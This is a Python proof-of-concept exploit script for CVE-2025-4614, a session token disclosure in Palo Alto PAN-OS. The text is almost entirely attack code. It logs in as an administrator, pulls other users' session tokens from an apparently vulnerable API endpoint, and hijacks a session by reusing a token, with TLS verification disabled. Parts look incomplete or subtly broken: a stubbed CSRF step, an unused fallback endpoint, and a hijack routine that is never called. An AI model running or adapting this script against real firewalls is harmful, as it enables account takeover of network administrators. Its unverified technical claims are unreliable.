CVE-2025-4614 Palo Alto Networks PAN-OS 会话令牌信息泄露漏洞

# CVE-2025-4614 PoC - PAN-OS Session Token Information Disclosure # This PoC demonstrates how an authenticated administrator can retrieve # session tokens of other authenticated users from the PAN-OS Web UI. import requests import re import json from urllib.parse import urljoin class PANOSSessionTokenDisclosure: def __init__(self, target_host, username, password): """ Initialize the exploit for CVE-2025-4614 :param target_host: PAN-OS firewall hostname or IP :param username: Authenticated administrator username :param password: Administrator password """ self.base_url = f"https://{target_host}" self.session = requests.Session() self.session.verify = False # Disable SSL verification for testing self.username = username self.password = password self.leaked_tokens = [] def login(self): """Authenticate to PAN-OS Web UI as administrator""" login_url = urljoin(self.base_url, "/php/login.php") # Generate initial CSRF token resp = self.session.get(login_url) # Extract CSRF token from response # Then submit login form with credentials data = { "user": self.username, "pwd": self.password, "prot": "https", } resp = self.session.post(login_url, data=data, allow_redirects=True) if "MainMenu" in resp.text or resp.status_code == 200: print(f"[+] Successfully authenticated as {self.username}") return True return False def enumerate_sessions(self): """ Exploit CVE-2025-4614 to enumerate active session tokens Access the vulnerable endpoint that exposes session information """ # Vulnerable endpoint that leaks session tokens to authenticated admins session_api_url = urljoin(self.base_url, "/api/pan/session/list") headers = { "X-PAN-KEY": self.session.cookies.get("PHPSESSID", ""), "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } resp = self.session.get(session_api_url, headers=headers) if resp.status_code == 200: try: sessions = resp.json() print(f"[+] Found {len(sessions)} active sessions") for sess in sessions: token_info = { "username": sess.get("admin"), "session_id": sess.get("sessid"), "source_ip": sess.get("from"), "login_time": sess.get("login_time"), "timeout": sess.get("timeout") } self.leaked_tokens.append(token_info) print(f"[+] Token: {token_info}") return self.leaked_tokens except json.JSONDecodeError: pass # Alternative endpoint alt_url = urljoin(self.base_url, "/esp/protocol.esp") return self.leaked_tokens def impersonate_user(self, session_token): """ Use the leaked session token to impersonate the victim user """ impersonate_session = requests.Session() impersonate_session.verify = False impersonate_session.cookies.set("PHPSESSID", session_token) # Verify impersonation check_url = urljoin(self.base_url, "/php/main.php") resp = impersonate_session.get(check_url) if resp.status_code == 200: print(f"[+] Successfully impersonated user with token: {session_token}") return True return False def run(self): """Execute the full exploitation chain""" print("[*] CVE-2025-4614 PAN-OS Session Token Disclosure Exploit") print("=" * 60) if not self.login(): print("[-] Authentication failed") return tokens = self.enumerate_sessions() if tokens: print(f"\n[!] Disclosed {len(tokens)} session tokens") for token in tokens: print(f" User: {token['username']}, Token: {token['session_id']}") if __name__ == "__main__": # Usage example import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) exploit = PANOSSessionTokenDisclosure( target_host="192.168.1.1", username="admin", password="admin_password" ) exploit.run()